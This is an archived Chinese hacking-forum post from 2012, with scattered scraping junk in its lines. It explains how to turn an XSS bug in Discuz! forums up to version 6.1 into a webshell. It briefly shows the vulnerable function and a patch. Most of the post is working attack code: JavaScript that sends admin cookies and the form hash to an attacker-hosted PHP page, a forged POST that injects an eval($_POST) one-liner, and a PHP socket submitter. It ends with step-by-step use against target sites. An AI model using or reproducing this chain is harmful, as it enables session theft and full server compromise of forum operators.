找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3742|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
( ?. b* U1 }1 MBy racle @tian6.com
+ o* R  @, m4 T7 L9 k欢迎转帖.但请保留版权信息.$ a6 S% a) d& g
受影响版本iscuz<=6.1.0,gbk+utf+big5
; f* l$ o3 t8 S+ R" `9 ~* Z% D; I% u$ W: l3 O. ~  N
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
0 v9 a! A( k0 d. f' M+ Z; a/ c( f1 ?" Q* |" I7 F* p

/ Z! |- \$ t9 y3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706# o3 T8 M/ H$ r! R" E
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.3 d7 P! N( F& i) A' J

) L: L, ], y, Q& N/ |, {分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
! b% @1 I5 t- h7 F+ `; j本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS' N+ a  X4 b# y" H! z7 l# F: F

0 c1 B1 A0 R+ e2 i% M1 {
- O5 w6 x6 P- @& ~( I# _----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
5 }) b1 f* H8 E6 X7 F: _
! x, g7 Q/ K8 s+ ]: ]* \: `( |8 \8 ?. T
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.8 e2 a$ y) A5 X

, `+ @4 N; p9 k6 l! `: Iproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer." S7 K/ s& f0 g) m- r

; @- ^% y' w, G. y9 U# gproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
+ A5 L, Q4 p9 Y2 U4 g. z& n$ b# x% h  g2 u* F4 C* k0 f

+ u6 U. R- W" z4 c7 ~下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
. ?6 J  F( J, d8 I$ i4 n; i3 b+ k! x6 v9 L& B, D& v
        global $runwizardfile, $runwizardhistory;, g; S6 U* E" J6 `7 C3 R3 s5 w

8 @8 T5 ]) W9 z" W; J1 j        $fp = fopen($runwizardfile, 'w');0 f5 K' j! j# X9 I

4 q: U. E/ w; d. a9 q        fwrite($fp, serialize($runwizardhistory));
2 ]$ x7 P% l1 Z% L
( K( E7 I- X, u- F6 |( t- a7 ]1 m        fclose($fp);8 G( V& g8 C/ @/ e+ g  U  k( a
- L2 z' K- ~7 s; n, B8 z+ n8 h
}
- B" i8 O% l# g复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
# a- @2 |' Z) y- N( C4 M以下是修补的办法:function saverunwizardhistory() {
: z; E- z" a/ R& V4 n; e' ]9 _6 M' S
        global $runwizardfile, $runwizardhistory;3 {+ C& S) ^- o9 G6 }7 Y
; y* o3 i6 x& ~* F2 S6 `
        $fp = fopen($runwizardfile, 'w');
" Q8 L, j0 a: S5 u
! ^8 s. q3 ~% d9 o3 a        $s = '<?php exit;?>';; B4 B) c% ^  W! i

( }6 F" A2 O! P% ?& V        $s .= serialize($runwizardhistory);
3 i, G- d( h! [9 K$ D6 \' h
9 H- P) j. P- n8 d        fwrite($fp, $s);
: P5 \% W9 o1 P# n2 W7 U' Z, _+ M. {0 w' z  e& g- K$ L" b5 {" d
        fclose($fp);0 [" V) h" ]* H

1 d  H. ~& q$ G}
& A2 y* M! \0 Z3 `1 Y. Y; B2 Y复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
' A9 A2 L$ ?. z( D, x  f3 V2 _
/ e$ v" g6 O- K0 f2 k
' k' x2 p/ _, G/ X9 ]% G4 ~  X0 ^8 Y0 W% v1 ~
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
6 n- s) U" W: R. b
2 t: B5 N7 w4 a1 b5 Q* w5 F, E* t# m) b; j, ^
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.: @/ L9 K3 M' Z$ a/ }$ T8 K+ c

8 P: q5 }# ]- D2 L; t! p+ f* O我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.( v$ b" B# u% C: w& o
9 o% p" y4 i) _0 A2 ~$ U) R9 S2 ~
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.: I; _4 [. V! i, q/ S3 S& ~
$ p+ S8 V7 |; D& M! J9 {5 D
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:; {: w+ ?0 S6 D! R( ~5 S* Q
0 I* n: E( ~0 I
var url="http://目标网站/admincp.php";      
9 T$ M3 t0 n/ ~6 V8 _
. p5 w! K, y1 B6 t/*获得cookies*/
) V3 S3 h7 g- ~1 B# Y/ a: M8 ^/ |6 J7 L% {, ^! A  t4 X2 d
function getURL(s) {
1 [  s" p7 G( k+ U$ X5 N, M: @. t9 q) \3 r2 h2 n) F  F# ]
var image = new Image();8 u" h, S3 N$ P
+ \4 @* b2 k0 n& T3 t! c$ T, `
image.style.width = 0;- B, N0 h0 H5 I0 l7 ^" I
" g+ o/ U0 B- Q
image.style.height = 0;' N- J1 V9 j3 ], S
7 z. h- G, D/ G1 U
image.src = s;2 V  @% O. k$ g  `$ r3 _- f
. I& Y, J, a3 W& h6 B+ [# n6 l
}
3 w) {, c4 {. ?; Y$ {1 V5 Q9 M4 n3 T* ~: `  v- z2 Y% q
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php% F2 }$ d3 J4 w4 g- F6 S
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];+ D: F( T4 Q- d
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
8 i$ Q- [$ P8 n. [
4 h3 E3 o9 l( p$ p
8 [; |3 U. c1 y( }5 a9 r$ b% L获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";: }4 l8 ]3 M' k6 H1 F# t+ e  q! M
/ F1 w, @0 k4 Z1 U4 ~( Z% j$ r2 @

' s$ v$ q. w+ V1 L" t/ h. K
! l2 _$ a6 h& i! V* f/*hash*/
& u! {& W/ h0 l' T3 j5 N3 Z" E
: `. Q) R9 ?8 F/ f7 ]5 `var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");1 n( U% p2 J- Z$ n5 E) A- ?
) L* K$ ?! [9 w' Y% u* `7 }" c
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
& j7 t; S* ^% H: i+ Q+ P- F/ U( [
# Y6 U+ i/ E3 x$ P2 ]: PxmlHttpReq.send();0 S6 K6 ~; m# q. m3 R5 V" L& z4 D' E$ _

2 Q' X2 [9 }2 \8 q5 Xvar resource = xmlHttpReq.responseText;9 @4 ~; Z9 D4 n+ w2 q+ t
  @0 z' n$ R, j- ~- D
var numero = resource.search(/formhash/);/ e  ]) K0 r. n! d8 I7 d

( R) u* ]5 }2 ^( c$ p/ J7 \7 R8 n2 u" ]var formhash=encodeURIComponent(resource.substr(numero+17,8));$ B, R6 F: g4 R1 |
; W2 m/ Q( e" l
" R: K0 m8 o3 H. J

; K: |, n( @/ q: ?; z. x0 Tvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 + c% Z+ s6 x; G7 u% t

5 D  q# U5 R6 l$ N, x, Q4 MxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
2 U' j7 `+ D, [! b) Y
; `- y* K9 O! `# {- RxmlHttpReq.setRequestHeader("Referer", url);
" t5 C7 F( S0 A4 e2 _0 b9 w% U+ z9 o# V
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
" f7 g% J, q4 g5 ^& t0 y% W. _5 J9 W' z. Z7 W$ w
xmlHttpReq.setrequestheader("content-length",post.length);
  ~/ X( h& x5 e& Q, [5 s- i/ \
& q0 V- x7 w6 b/ uxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); * C3 t* N. Y" T- I! G

) H4 E" n- J' l  o: G8 B. K2 `, TxmlHttpReq.send(post);//发送数据6 P1 r& q, Y/ L( `, n3 i  |
复制代码这里HASH我假设正确,这样提交,也无须cookies
8 b- k( i: T  N$ I$ M& \& _. [& K$ J) {( C3 g
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
0 e2 w9 ~; G$ P8 B# l
+ s2 B, O, i  [3 j  H& uif (!$sock) die("$errstr ($errno)\n");# n* K; g$ L$ B1 h

  W: \! J8 n- F( W$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
' O3 |9 ]# H$ L/ h' r1 z; D8 y: f% @& Y* R9 n+ T* u6 `

6 y0 u! [* @1 H2 c; e8 L  m7 w) y% u9 m- j, a! {2 O
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");: f3 Y% }* b# D3 r! r; R

, V- D8 b3 C) T& ofwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
+ d: C& n5 C# V  ~# m5 D! n4 `. `, Q# X  P! J& `& [7 d
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ X% X- ?! Q: J. M+ d+ m5 l$ s
3 I/ X- i9 p+ a7 G2 g( H" s& @fwrite($sock, "Accept-Language: zh-cn\r\n");5 S6 i- o4 q, K# ]: c
& r" D! t! u% W2 U
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");! q$ }5 @4 h( x  y+ M
  k) Q! }3 u, ]; t& p6 a9 ]. V
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
9 p9 u3 v. ~' w# e
9 q9 G8 \0 ^2 B% S0 sfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
' T0 ?( z8 {2 Y& f$ c
! n; y* o+ R7 o, Yfwrite($sock, "Host: $url\r\n");
0 m9 x4 A- l- E/ @" a2 H8 R3 h1 \8 A
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");2 ^. y2 k) P% }" w/ t( o
* i) Q! d+ ]" C8 i/ W, q4 c7 z
fwrite($sock, "Connection: Keep-Alive\r\n");" B4 u9 Q! O7 W+ |. Z0 S

0 z2 {5 C2 t$ v: x; ^fwrite($sock, "Cache-Control: no-cache\r\n");8 B/ f, G2 Q; F$ P, B* h
% j" Q/ m( O- a* V3 ]( b7 |6 o1 p5 s
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");  h- L* D" E3 r

/ V, e# r$ F" cfwrite($sock, $data);, A5 [5 D7 \' v( Z3 O3 ~9 D7 g
9 \' E) _. G4 L# L% p# D' y

- X$ X4 [6 Y) b4 C; n
+ i+ p$ Y+ R5 j$headers = "";
- _! m. ?9 ]& r6 Q# b0 S0 f: f2 o! L
while ($str = trim(fgets($sock, 4096)))3 C; K" ~# ?8 r5 m

& M6 k+ ^+ H/ Z& Z/ E     $headers .= "$str\n";
( u7 N4 @4 h& ]9 F! `; R9 y' I, O( Y) c8 Q
echo "\n";% C/ |" r& L  \9 H! _) A5 }3 B' T

" A+ p! ^9 A( t, B$body = "";* D  c0 D; m4 c! Y% o: }/ X
, |6 `2 k) R8 w6 }1 }& N5 m* z
while (!feof($sock))
9 G, C$ Q5 B+ W' I* j5 v' }+ C- U
2 r1 |1 ?# S: o  O! @     $body .= fgets($sock, 4096);
- w0 t" D& v7 w2 I  q* ~, d; k
2 _" Q; B( c7 D3 L* B4 Y5 B/ Wfclose($sock);
! W3 h* x' P3 x% q. A5 D8 O
; Z, d" x  |0 p0 i3 i6 oecho $body;
* t6 Z5 q' F5 M& r8 Z! K- ~复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^% l4 h' J7 w3 U& z6 I/ J
& C- D) V1 I# O9 `

& D4 [0 J4 S" U$ j-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
6 l% [2 I1 j3 i& G  k1 G3 y2 q; G& a7 p) K" z: D) `7 a
. i: e  q/ |% l+ D, D; c. u& q
1HP SOCKET利用方法首先打开racle.js
2 d% `1 ~& |! `* ?' e
" q0 V+ Z2 D0 Vvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home' g* w7 H3 [3 R( |; v, S6 M4 f' u

0 o! b/ s# e* m: V% C. d5 c( _9 r6 [. @9 H8 O

; `# J* n6 q) R2 h然后打开racle@tian6.php  T- ^& A, ~, r+ W3 c

) Q* U  O, a5 X. V5 V0 ~& W$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
$ @2 u4 G! {0 H2 l9 W' y: P6 S5 {1 Y" H! r( z# U

1 t, J8 ?6 m) H. A% u+ D) X
6 I+ E1 O1 W1 Z4 [如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:* r7 A* _" x: f. K& X

1 _- C! ^% R( D; S* IgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));# h9 \$ T" O; C$ i. \
5 z' ?2 T* Y4 Y) \2 Z5 c2 f

4 @* F4 o! X4 J! F& ^. M9 {# l2 Z# L4 m$ Y& g1 k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));0 _) A" p  t! u) L
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
* l3 ~3 l4 @. S* _$ C9 g/ f( A/ }( `5 h7 |7 `

5 y+ H% w: A: J7 d  X0 U
- a/ e: X! p( b. O如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 B, R5 y7 q% L5 q
* D1 Y/ ^7 u% T+ C
var formhash=encodeURIComponent(resource.substr(numero+17,8));
4 p. y2 \6 C, \5 y, |' J9 m3 |+ _& m, P2 z

& m! B: u6 c( ?0 [
2 h! J( p$ u; C; B3 zvar formhash=encodeURIComponent(resource.substr(numero+9,8));
; V* u  q' B/ I2 m% i' H复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
5 A, l# H" r2 l: [! R8 ^
" G  O+ j; O7 A! S) w% u+ c如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
8 _0 k# y5 T4 L. W+ H% L5 n7 S4 k; ^" c
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
8 u5 A7 k; ~, a4 @' n' ]0 q
: P* C" G# |# P* l3 O不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
- k+ d* {. X7 a9 i ) r' q$ M' U% ~; m/ C' [: {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表